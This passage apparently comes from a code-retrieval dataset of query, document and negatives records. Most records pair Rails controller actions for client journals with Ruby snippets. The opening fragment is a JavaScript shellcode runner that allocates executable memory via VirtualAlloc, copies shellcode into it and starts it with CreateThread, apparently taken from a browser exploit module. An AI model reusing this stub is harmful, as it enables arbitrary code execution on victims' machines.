ctypes.voidptr_t /* lpThreadId */\n );\n var buff = VirtualAlloc(null, shellcode.length, ANON_PRIVATE, RWX);\n var cstr = ctypes.jschar.array()(shellcode);\n RtlMoveMemory(buff, cstr, bytes);\n var m = buff.toString().match(/\"0x([0-9a-fA-F]+)\"/);\n if (!m) throw new Error(\"Could not find address of buffer.\");\n var fn = ctypes.FunctionType(ctypes.winapi_abi, ctypes.void_t).ptr(parseInt(m[1], 16));\n CreateThread(null, null, fn, null, null, null);\n };\n\n var i, errs = [], fns = [execWindows, execPosix];\n for (i in fns) {\n try {\n fns[i](shellcode);\n return true;\n } catch(e) { errs.push(e.message); }\n }\n\n throw new Error(\"All methods failed. Exceptions encountered:\\\\n[\"+errs+\"]\");\n };\n |\n end",
"def patch_wrapper_script(prog)\n\t\twrapper_script_header = <<-WRAPPER_SCRIPT_HEADER\n#!/bin/bash\n\nexport LANG=en_US.UTF-8\nexport LANGUAGE=en_US.UTF-8\nexport LC_ALL=en_US.UTF-8\n\nCOMMONSDIR=\"#{HOMEBREW_PREFIX.join('opt', 'hets-commons')}\"\nPROGDIR=\"#{prefix}\"\nPROG=\"#{prog}\"\n\n[[ -z ${HETS_JNI_LIBS} ]] && \\\\\n\t\t HETS_JNI_LIBS=\"#{HOMEBREW_PREFIX.join('opt', 'factplusplus')}\"\nWRAPPER_SCRIPT_HEADER\n\n\t\t# Replace the header until (including) the line starting with PROG=\n\t\tinreplace(bin.join(prog), /\\A.*PROG=[^\\n]*$/m, wrapper_script_header)\n inreplace(bin.join(prog), 'BASEDIR', 'COMMONSDIR')\n inreplace(bin.join(prog), /PELLET_PATH=.*$/, \"PELLET_PATH=#{HOMEBREW_PREFIX.join('opt', 'pellet', 'bin')}\")\n inreplace(bin.join(prog), /^\\s*exec\\s+([\"']).*COMMONSDIR[^\\/]*/, 'exec \\1${PROGDIR}')\n end",
"def string_to_src(str)\n headers = C_HEADERS.map { |s| \"#include <#{s}>\\n\" }.join\n \"#{headers} int main(){ #{str}; }\"\nend",
"def rundaemon(*cmd)\n @ruby ||= %x{which ruby}.chomp\n cmd = cmd.unshift(@ruby).join(\" \")\n\n out = nil\n Dir.chdir(bindir) {\n out = %x{#{@ruby} #{cmd}}\n }\n out\n end",
"def interpret(source)\n c = compile(source)\n ci = cifrom(c)\n ci.run\nend",
"def ruby(*args)\n sh(RUBY, *args)\n end",
"def startup(options={}, &blk)\n source = ''\n stdlib_src = stdlib()\n if options[:stdlib] && File.exist?(stdlib_src)\n source += File.read(stdlib_src)\n end\n source += \"\\n\"\n source += yield if block_given?\n source\nend",
"def create_binary(iRootDir, iReleaseDir, iIncludeRuby, iExecutableInfo)\n rSuccess = true\n\n lBinSubDir = \"Launch/#{PLATFORM_ID}/bin\"\n lRubyBaseBinName = 'ruby'\n lBinName = \"#{lRubyBaseBinName}-#{RUBY_VERSION}.bin\"\n if (iIncludeRuby)\n # First create the binary containing all ruby\n lBinDir = \"#{iReleaseDir}/#{lBinSubDir}\"\n FileUtils::mkdir_p(lBinDir)\n change_dir(lBinDir) do\n lCmd = \"allinoneruby #{lBinName}\"\n rSuccess = system(lCmd)\n if (!rSuccess)\n log_err \"Error while executing \\\"#{lCmd}\\\"\"\n end\n end\n end\n if (rSuccess)\n # Then create the real executable\n # Generate the Shell file that launches everything for Linux\n lShellFileName = \"#{iReleaseDir}/#{iExecutableInfo[:exe_name]}\"\n File.open(lShellFileName, 'w') do |oFile|\n oFile << \"\\#!/bin/sh\n\\#--\n\\# Copyright (c) 2009 - 2012 Muriel Salvan (muriel@x-aeon.com)\n\\# Licensed under the terms specified in LICENSE file. No warranty is provided.\n\\#++\n\n\\# This file is generated by RubyPackager for Linux.\n\n\\# This file has to launch the correct binary. There can be several binaries dependending on the configuration.\n\\# This is the file that will be created as the executable to launch.\n\n\\# Test Ruby's existence\nwhich ruby >/dev/null 2>/dev/null\nOUT=$?\nif [ $OUT -eq 1 ]\nthen\n echo 'Ruby not found on current platform. Use embedded one.'\n if [ ! -d tempruby ]\n then\n echo 'Extracting Ruby distribution...'\n mkdir tempruby\n cd tempruby\n ../#{lBinSubDir}/#{lBinName} --eee-justextract\n cd ..\n fi\n \\# Set the environment correctly to execute Ruby from the extracted dir\n export LD_LIBRARY_PATH=`pwd`/tempruby/bin:`pwd`/tempruby/lib:`pwd`/tempruby/lib/lib1:`pwd`/tempruby/lib/lib2:`pwd`/tempruby/lib/lib3:`pwd`/tempruby/lib/lib4:${LD_LIRARY_PATH}\n export RUBYOPT=\n ./tempruby/bin/ruby -w #{iExecutableInfo[:startup_rb_file]}\nelse\n echo 'Ruby found on current platform. Use it directly.'\n ruby -w #{iExecutableInfo[:startup_rb_file]}\nfi\n\"\n end\n File.chmod(0755, lShellFileName)\n end\n\n return rSuccess\n end",
"def bad_shebang?\n return false if binary?\n\n shebang.match?(/^#!\\s*\\/usr\\/bin\\/env\\s*ruby(\\d.*)$/) # https://rubular.com/r/ozbNEPVInc3sSN\n end",
"def amalgamate_code_files\n\n print 'Concatenating ruby files '\n\n entry_point = File.read(ENTRY_POINT)\n # Put a \"require\" statement with our target in it\n modified_entry_point = entry_point.sub(TERRACE_TARGET_REQUIRE, TERRACE_TARGET_REQUIRE.sub('/TARGET/', \"/#{@target}/\"))\n\n # Swap in the \"require\" line with the correct target\n File.open(GENERATED_MAIN, 'w') { |f|\n f.write(modified_entry_point)\n }\n\n FileUtils.rm_f \"#{OUTPUT_DIR}/#{ENTRY_POINT}\"\n FileUtils.mkdir_p \"#{OUTPUT_DIR}\"\n\n `ruby #{MRUBYMIX} #{GENERATED_MAIN} #{OUTPUT_DIR}/#{ENTRY_POINT}`\n FileUtils.mv(GENERATED_MAIN, \"#{OUTPUT_DIR}/#{GENERATED_MAIN}\")\n\n puts ' done.'\n end",
"def bin_wrapper_file\n rbconfig('ruby_install_name').match /^(.*)ruby(.*)$/\n File.join(Config.bin_dir, \"#{$1}#{@bin_name}#{$2}\")\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
POST /client_journals POST /client_journals.json | def create
@client_journal = ClientJournal.new(client_journal_params)
respond_to do |format|
if @client_journal.save
format.html { redirect_to client_journals_url, notice: 'Client journal was successfully created.' }
# format.json { render :show, status: :created, location: @client_journal }
else
format.html { render :new }
format.json { render json: @client_journal.errors, status: :unprocessable_entity }
end
end
end | [
"def create\n # A user has many journals. A journal belongs to a user\n @journal = current_user.journals.new(journal_params)\n\n respond_to do |format|\n if @journal.save\n format.html { redirect_to journals_url, notice: 'Journal was successfully created.' }\n format.json { render :index, status: :created, location: @journal }\n else\n format.html { render :new }\n format.json { render json: @journal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @journal = @journals.new(params[:journal])\n\n respond_to do |format|\n if @journal.save\n format.html { redirect_to [@user, @journal], notice: 'Journal was successfully created.' }\n format.json { render json: @journal, status: :created, location: @journal }\n else\n format.html { render action: \"new\" }\n format.json { render json: @journal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @journal = @journals.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @journal }\n end\n end",
"def create\n @journaal = Journaal.new(journaal_params)\n\n respond_to do |format|\n if @journaal.save\n format.html { redirect_to @journaal, notice: 'Journaal was successfully created.' }\n format.json { render :show, status: :created, location: @journaal }\n else\n format.html { render :new }\n format.json { render json: @journaal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @journals }\n end\n end",
"def index\n @service_journals = ServiceJournal.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @service_journals }\n end\n end",
"def get_manual_journals(options = {})\n request_params = {}\n request_params[:ManualJournalID] = options[:manual_journal_id] if options[:manual_journal_id]\n request_params[:ModifiedAfter] = options[:modified_since] if options[:modified_since]\n\n response_xml = http_get(@client, \"#{@xero_url}/ManualJournals\", request_params)\n\n parse_response(response_xml, {:request_params => request_params}, {:request_signature => 'GET/ManualJournals'})\n end",
"def create\n @goal = @todo.goals.create(goal_params)\n render json: @goal\n end",
"def create\n @journy = Journy.new(params[:journy])\n\n respond_to do |format|\n if @journy.save\n format.html { redirect_to @journy, notice: 'Journy was successfully created.' }\n format.json { render json: @journy, status: :created, location: @journy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @journy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @goals = Goal.all\n @my_custom_goals = my_custom_goals\n @user_goal = UsersGoal.new(params[:users_goal])\n @user_goal.user = current_user\n\n respond_to do |format|\n if @user_goal.save\n format.html { redirect_to action: 'new', notice: 'Users goal was successfully created.' }\n format.json { render json: @user_goal, status: :created, location: @user_goal }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_goal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @service_journals_event = ServiceJournalsEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @service_journals_event }\n end\n end",
"def create\n itinerary = current_user.itineraries.create!(itinerary_params)\n itinerary_id = current_user.itineraries.last\n \n events = params[:events]\n events.each do |event|\n itinerary_id = current_user.itineraries.last[:id]\n EventsItinerary.create(itinerary_id: itinerary_id, event_id: event[\"id\"])\n end\n render json: itinerary, status: 201 # , location: [:api, itineraries]\n end",
"def create\n @goals = goals_for_current_user\n @goal = Goal.new(params[:goal])\n @goal.user = current_user\n\n respond_to do |format|\n if @goal.save\n format.html { redirect_to({action: 'index'}, notice: 'Goal was successfully created.') }\n format.json { render json: @goal, status: :created, location: @goal }\n else\n format.html { render action: 'index' }\n format.json { render json: @goal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = current_firm.clients.build(params[:client])\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to firm_client_path(current_firm, @client), notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @staff_task_journals = StaffTaskJournal.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @staff_task_journals }\n end\n end",
"def create_meal(body)\n post(\"user/#{user_id}/meals.json\", body)\n end",
"def create\n if @mission.sponsored_by? current_user\n return respond_to do |format|\n format.html { redirect_to mission_path(@mission) }\n format.json { head :no_content }\n end\n end\n @mission.sponsorships.create sponsor: current_user\n respond_to do |format|\n # TODO: notification and activity\n format.html { redirect_to mission_path(@mission), notice: t('missions.sponsored_successfully') }\n format.json { render json: { count: @mission.sponsorships.count } }\n end\n end",
"def create\n @add_to_invoice_client = AddToInvoiceClient.new(add_to_invoice_client_params)\n\n respond_to do |format|\n if @add_to_invoice_client.save\n format.html { redirect_to @add_to_invoice_client, notice: 'Add to invoice client was successfully created.' }\n format.json { render :show, status: :created, location: @add_to_invoice_client }\n else\n format.html { render :new }\n format.json { render json: @add_to_invoice_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo_client = TodoClient.new(todo_client_params)\n\n respond_to do |format|\n if @todo_client.save\n format.html { redirect_to @todo_client, notice: 'Todo client was successfully created.' }\n format.json { render :show, status: :created, location: @todo_client }\n else\n format.html { render :new }\n format.json { render json: @todo_client.errors, status: :unprocessable_entity }\n end\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
PATCH/PUT /client_journals/1 PATCH/PUT /client_journals/1.json | def update
respond_to do |format|
if @client_journal.update(client_journal_params)
format.html { redirect_to client_journals_url, notice: 'Client journal was successfully updated.' }
# format.json { render :show, status: :ok, location: @client_journal }
else
format.html { render :edit }
format.json { render json: @client_journal.errors, status: :unprocessable_entity }
end
end
end | [
"def update\n @journal = @journals.find(params[:id])\n\n respond_to do |format|\n if @journal.update_attributes(params[:journal])\n format.html { redirect_to @journal, notice: 'Journal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @journal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @journaal.update(journaal_params)\n format.html { redirect_to @journaal, notice: 'Journaal was successfully updated.' }\n format.json { render :show, status: :ok, location: @journaal }\n else\n format.html { render :edit }\n format.json { render json: @journaal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = set_client\n @client.update(client_params)\n render json: @client\n end",
"def update\n @client = current_client\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to firm_client_path(current_firm, @client), notice: 'Client was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todo_client.update(todo_client_params)\n format.html { redirect_to @todo_client, notice: 'Todo client was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo_client }\n else\n format.html { render :edit }\n format.json { render json: @todo_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @journy = Journy.find(params[:id])\n\n respond_to do |format|\n if @journy.update_attributes(params[:journy])\n format.html { redirect_to @journy, notice: 'Journy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @journy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n load_client_note\n authorize! :edit, @client_note\n build_client_note\n save_client_note or render :edit\n end",
"def update\n respond_to do |format|\n if @tutor_client_relationship.update(tutor_client_relationship_params)\n format.html { redirect_to @tutor_client_relationship, notice: \"Tutor client relationship was successfully updated.\" }\n format.json { render :show, status: :ok, location: @tutor_client_relationship }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tutor_client_relationship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @note_client = NoteClient.find(params[:id])\n\n respond_to do |format|\n if @note_client.update_attributes(params[:note_client])\n format.html { redirect_to @note_client, notice: 'Note client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @note_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @add_to_invoice_client.update(add_to_invoice_client_params)\n format.html { redirect_to @add_to_invoice_client, notice: 'Add to invoice client was successfully updated.' }\n format.json { render :show, status: :ok, location: @add_to_invoice_client }\n else\n format.html { render :edit }\n format.json { render json: @add_to_invoice_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n resource.update(client_params)\n respond_with resource\n end",
"def update\n @service_journals_event = ServiceJournalsEvent.find(params[:id])\n\n respond_to do |format|\n if @service_journals_event.update_attributes(params.require(:service_journals_event).permit(:name))\n format.html { redirect_to service_journals_events_url,\n notice: 'ServiceJournalsEvent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service_journals_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client_org_orderable = ClientOrgOrderable.find(params[:id])\n\n respond_to do |format|\n if @client_org_orderable.update_attributes(params[:client_org_orderable])\n format.html { redirect_to @client_org_orderable, notice: 'Client org orderable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_org_orderable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @service_journal = ServiceJournal.find(params[:id])\n\n respond_to do |format|\n if @service_journal.update_attributes(params.require(:service_journal).permit(:date_time, :event_id, :service_visit_id))\n format.html { redirect_to service_journals_url,\n notice: 'ServiceJournal was successfully updated.' }\n format.json { head :no_content }\n else\n prepFormVariables\n format.html { render action: \"edit\" }\n format.json { render json: @service_journal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @journal.update(journal_params)\n format.html { redirect_to journals_path, notice: \"journal was successfully updated.\" }\n format.json { render :index, status: :ok, location: @journal }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @journal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @business_partner.update(client_params)\n format.html { redirect_to @business_partner, notice: t('views.business_partners.controller_msjs.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @business_partner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def update\n @clientsOffers = ClientsOffers.find(params[:id])\n\n respond_to do |format|\n if @clientsOffers.update_attributes(params[:clientsOffers])\n format.html { redirect_to @clientsOffers, notice: 'ClientsOffers was succesfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clientsOffers.errors, status: :unprocesable_entity }\n end\n end\n end",
"def update\n @agency_client = AgencyClient.find(params[:id])\n\n respond_to do |format|\n if @agency_client.update_attributes(params[:agency_client])\n format.html { redirect_to @agency_client, notice: 'Agency client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agency_client.errors, status: :unprocessable_entity }\n end\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
DELETE /client_journals/1 DELETE /client_journals/1.json | def destroy
@client_journal.destroy
respond_to do |format|
format.html { redirect_to client_journals_url, notice: 'Client journal was successfully destroyed.' }
format.json { head :no_content }
end
end | [
"def destroy\n @journal = @journals.find(params[:id])\n @journal.destroy\n\n respond_to do |format|\n format.html { redirect_to journals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @journaal.destroy\n respond_to do |format|\n format.html { redirect_to journaals_url, notice: 'Journaal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = current_client\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to current_firm }\n format.json { head :ok }\n end\n end",
"def destroy\n #@target_journal = TargetJournal.find(params[:id])\n @target_journal.destroy\n\n respond_to do |format|\n format.html { redirect_to target_journals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @my_studio_client = MyStudio::Client.find(params[:id])\n @my_studio_client.destroy\n\n respond_to do |format|\n format.html { redirect_to my_studio_clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @journal.destroy\n respond_to do |format|\n format.html { redirect_to journals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @myjournal = Myjournal.find(params[:id])\n @myjournal.destroy\n\n respond_to do |format|\n format.html { redirect_to myjournals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @add_to_invoice_client.destroy\n respond_to do |format|\n format.html { redirect_to add_to_invoice_clients_url, notice: 'Add to invoice client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @journy = Journy.find(params[:id])\n @journy.destroy\n\n respond_to do |format|\n format.html { redirect_to journies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(@history_client.client_id)\n @history_client.destroy\n respond_to do |format|\n format.html { \n redirect_to client_path(@client)\n flash[:danger] = 'Se ha eliminado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @agency_client = AgencyClient.find(params[:id])\n @agency_client.destroy\n\n respond_to do |format|\n format.html { redirect_to agency_clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @note_client = NoteClient.find(params[:id])\n @note_client.destroy\n\n respond_to do |format|\n format.html { redirect_to note_clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo_client.destroy\n respond_to do |format|\n format.html { redirect_to todo_clients_url, notice: 'Todo client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invent_journal = InventJournal.find(params[:id])\n @invent_journal.destroy\n\n respond_to do |format|\n format.html { redirect_to invent_journals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_has_conjoint.destroy\n respond_to do |format|\n format.html { redirect_to client_has_conjoints_url, notice: 'Client has conjoint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tutor_client_relationship.destroy\n respond_to do |format|\n format.html { redirect_to tutor_client_relationships_url, notice: \"Tutor client relationship was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @client1.destroy\r\n respond_to do |format|\r\n format.html { redirect_to client1s_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @generaljournal = Generaljournal.find(params[:id])\n @generaljournal.destroy\n\n respond_to do |format|\n format.html { redirect_to :back } #generaljournals_url }\n format.json { head :no_content }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Fail all jobs by audit_id | def fail_jobs(audit_ids)
with_persistent_jobs(audit_ids) do |job, model|
job.fail_job!
end
end | [
"def fail!\n return if state == 'FAILED'\n JobTracker.transaction do\n update_attribute(:state, 'FAILED')\n Delayed::Job.destroy_failed_jobs ? delayed_jobs.each(&:destroy) : delayed_jobs.each do |dj|\n dj.update_attribute(:failed_at, Time.now)\n end\n end\n end",
"def fail_job job, error\n job.fail error\n end",
"def job_failed(id)\n `touch #{failed_file(id)}`\n end",
"def fail!\n puts \"Job with attributes #{@attributes.inspect} failed!\"\n if Delayed::Worker.destroy_failed_jobs\n destroy\n else\n update_attributes(failed_at: Time.now.utc)\n end\n end",
"def failed_executions order = nil\n connection.failed_executions(id, order)\n end",
"def failed_jobs\n @failed_jobs ||= []\n end",
"def abortDependentJobs(job)\n if job.groupid == nil\n # Job not part of a group so nothing to do\n return\n end\n @jobList.each { |j|\n if j.status == \"PENDING\" && job.groupid == j.groupid\n j.abort\n self.updateInDb(j)\n end\n }\n\n end",
"def stop_machete_jobs(jobs)\n jobs.each do |job|\n begin\n job.delete\n rescue PBS::Error\n msg = \"An error occurred when deleting a job from the batch system with pbsid: #{job.pbsid} and message: #{e.message}\"\n errors[:base] << msg\n Rails.logger.error(msg)\n end\n end\n end",
"def complete_jobs(audit_ids)\n with_persistent_jobs(audit_ids) do |job, model|\n job.complete_job!\n end\n end",
"def handle_job_failures(jobs)\n failed_jobs = jobs.select { |j| !j.exception.nil? }\n return if failed_jobs.empty?\n raise ChefRun::MultiJobFailure.new(failed_jobs)\n end",
"def find_failed_monitoring_job\n each_monitoring_job.find do |background_job|\n background_job.terminated? && !background_job.success?\n end\n end",
"def stop_machete_jobs(jobs)\n jobs.each do |job|\n begin\n job.delete\n rescue PBS::Error\n msg = \"A PBS::Error occurred when deleting a job from the batch system with pbsid: #{job.pbsid} and message: #{e.message}\"\n errors[:base] << msg\n Rails.logger.error(msg)\n end\n end\n end",
"def failed\n jobs_index(Job.failed)\n end",
"def handle_job_failures(jobs)\n failed_jobs = jobs.select { |j| !j.exception.nil? }\n return if failed_jobs.empty?\n raise ChefCLI::MultiJobFailure.new(failed_jobs)\n end",
"def handle_failed_jobs(jobs)\n failed_jobs = jobs.select { |j| !j.exception.nil? }\n return if failed_jobs.empty?\n if jobs.length == 1\n # Don't provide a bad UX by showing a 'one or more jobs has failed'\n # message when there was only one job.\n raise jobs.first.exception\n end\n\n raise ChefApply::MultiJobFailure.new(failed_jobs)\n end",
"def clear_failed_jobs\n Delayed::Job.where('failed_at IS NOT NULL').destroy_all\n respond_to do |format|\n format.json { head :ok }\n end\n end",
"def clear_failed_jobs\n Delayed::Job.where('failed_at IS NOT NULL').destroy_all\n respond_to do |format|\n format.json{ render text:'',status: :ok}\n end\n end",
"def cancel_all_jobs\n errors = []\n job_list = get_all_jobs\n job_list.each do |job|\n res = cancel_job(job[:job_id], job[:caller_id])\n if !res[:error_message].nil? || res[:error_code] != \"0\"\n error = {\n :job_id => job[:job_id],\n :error_code => res[:error_code],\n :error_message => res[:error_message],\n }\n errors << error\n end\n end\n return errors.empty? ? true : errors\n end",
"def retry_job\n # get items\n query = AnalysisJobsItem.failed_for_analysis_job(id)\n\n # batch update\n query.find_in_batches(batch_size: AnalysisJob.batch_size) do |items|\n items.each(&:retry!)\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Complete all jobs by audit_id | def complete_jobs(audit_ids)
with_persistent_jobs(audit_ids) do |job, model|
job.complete_job!
end
end | [
"def complete_job\r\n @eobs = @job.eob_qas\r\n @eobs.each do |eob|\r\n if eob.prev_status != \"old\"\r\n EobReport.create(:verify_time => eob.time_of_rejection , :processor => @job.processor_id, :accuracy => eob.accuracy,\r\n :qa => @current_user.id, :batch_date => @job.batch.date, :total_fields => eob.total_fields,\r\n :incorrect_fields => eob.total_incorrect_fields, :error_type => eob.eob_error.error_type, :error_severity => eob.eob_error.severity,\r\n :error_code => eob.eob_error.code, :status => eob.status, :payer => eob.payer )\r\n end\r\n eob.prev_status = \"old\"\r\n eob.save\r\n end\r\n end",
"def job_complete(project_id, id, params)\n path = sprintf(\"/api/v2/projects/%s/jobs/%s/complete\", project_id, id)\n data_hash = {}\n post_body = nil\n \n if params.present?\n unless params.kind_of?(PhraseApp::RequestParams::JobCompleteParams)\n raise PhraseApp::ParamsHelpers::ParamsError.new(\"Expects params to be kind_of PhraseApp::RequestParams::JobCompleteParams\")\n end\n end\n \n data_hash = params.to_h\n err = params.validate\n if err != nil\n return nil, err\n end\n reqHelper = PhraseApp::ParamsHelpers::BodyTypeHelper.new(data_hash, post_body)\n rc, err = PhraseApp.send_request(@credentials, \"POST\", path, reqHelper.ctype, reqHelper.body, 200)\n if err != nil\n return nil, err\n end\n \n return PhraseApp::ResponseObjects::JobDetails.new(JSON.load(rc.body)), err\n end",
"def fail_jobs(audit_ids)\n with_persistent_jobs(audit_ids) do |job, model|\n job.fail_job!\n end\n end",
"def submit()\n @_jobs.each{|job| self.jobids << job.submit()}\n end",
"def all_jobs\n\n find_jobs()\n end",
"def cancel(envid)\n @jobList.each { |job|\n if job.envid == envid && job.status == \"RUNNING\"\n begin\n Process.kill('TERM', job.pid.to_i)\n rescue Errno::ESRCH\n reportDone(job.pid, -1)\n end\n end\n }\n end",
"def reportDone(pid,exitstatus)\n @jobList.each { |job|\n if job.pid == pid\n job.exitstatus = exitstatus\n if job.exitstatus != 0\n job.fail\n self.updateInDb(job)\n abortDependentJobs(job)\n return\n end\n job.done\n self.updateInDb(job)\n # Now look for other jobs that are waiting for this\n match = @jobList.select{|j| j.predjobid == job.jobid && j.status == \"PENDING\" }\n if match != nil && match[0] != nil\n # Launch the next job\n\t\t config = $configList.getbyname(match[0].name)\n if config == nil\n $Logger.error \"Configuration #{match[0].name} in depdendent job #{job.jobid} not found\" \n else\n self.resolveDependencies(match[0])\n envid,jobid = config.launch(match[0], @con)\n $Logger.info \"Launched dependent configurtion with envid #{envid} jobid #{jobid}\"\n end\n end\n return\n end\n }\n end",
"def complete_job(job)\n @_active.delete(job)\n end",
"def job_finished(_job, _lints)\n end",
"def job_completed(job)\n report_success(job) if job['on_success']\n if job['period'] && job['period'].to_i > 0\n job['status'] = 'queued'\n job['make_after'] = job['period']\n job['args'].delete(:job_itself)\n storage.save(job) { |job| schedule(job) }\n else\n if JR.config[:remove_done_jobs]\n storage.destroy(job)\n else\n job['status'] = 'complete'\n storage.save(job)\n end\n end\n end",
"def complete(job)\n @mutex.synchronize do\n @in_processing[job.group_id].delete(job)\n tick(job.group_id)\n end\n end",
"def abortDependentJobs(job)\n if job.groupid == nil\n # Job not part of a group so nothing to do\n return\n end\n @jobList.each { |j|\n if j.status == \"PENDING\" && job.groupid == j.groupid\n j.abort\n self.updateInDb(j)\n end\n }\n\n end",
"def job_status_invoices_submitted\n # self.confirmed_interpreters.each do |confirmed_interpreter|\n # self.complete_job(confirmed_interpreter)\n # self.confirmed_interpreters.delete(confirmed_interpreter)\n # end\n \n update_attribute(:invoice_submitted, true)\n update_attribute(:invoice_submitted_at, Time.zone.now)\n \n @interpreter_invoices = self.interpreter_invoices\n @interpreter_invoices.each do |interpreter_invoice|\n interpreter_invoice.job_complete\n end\n end",
"def finish\n return unless @jobs\n @jobs.each(&:finish)\n end",
"def complete\n @result_handler.call(*result) while @jobcount > 0\n end",
"def complete\n goal_id = params[:id]\n \n @goal = Goal.find(goal_id)\n raise PermissionViolation unless @goal.updatable_by?(current_user)\n\n commitment = Commitment.find_by_user_id_and_goal_id(current_user.id, goal_id)\n commitment.update_attributes(:completed => true, :completed_at => Time.now)\n\n # incomplete_descendants = @goal.descendants.where(:completed => false)\n\n # for d in incomplete_descendants\n # # logger.debug \"Incomplete descendants completed #{d.name}\"\n # d.update_attributes(:completed => true, :completed_at => Time.now)\n # unless month.goals.include?(d)\n # month.goals << d\n # end\n # end\n\n redirect_to :back\n end",
"def suspend_job\n # get items\n query = AnalysisJobsItem.queued_for_analysis_job(id)\n\n # batch update\n query.find_in_batches(batch_size: AnalysisJob.batch_size) do |items|\n items.each(&:cancel!)\n end\n end",
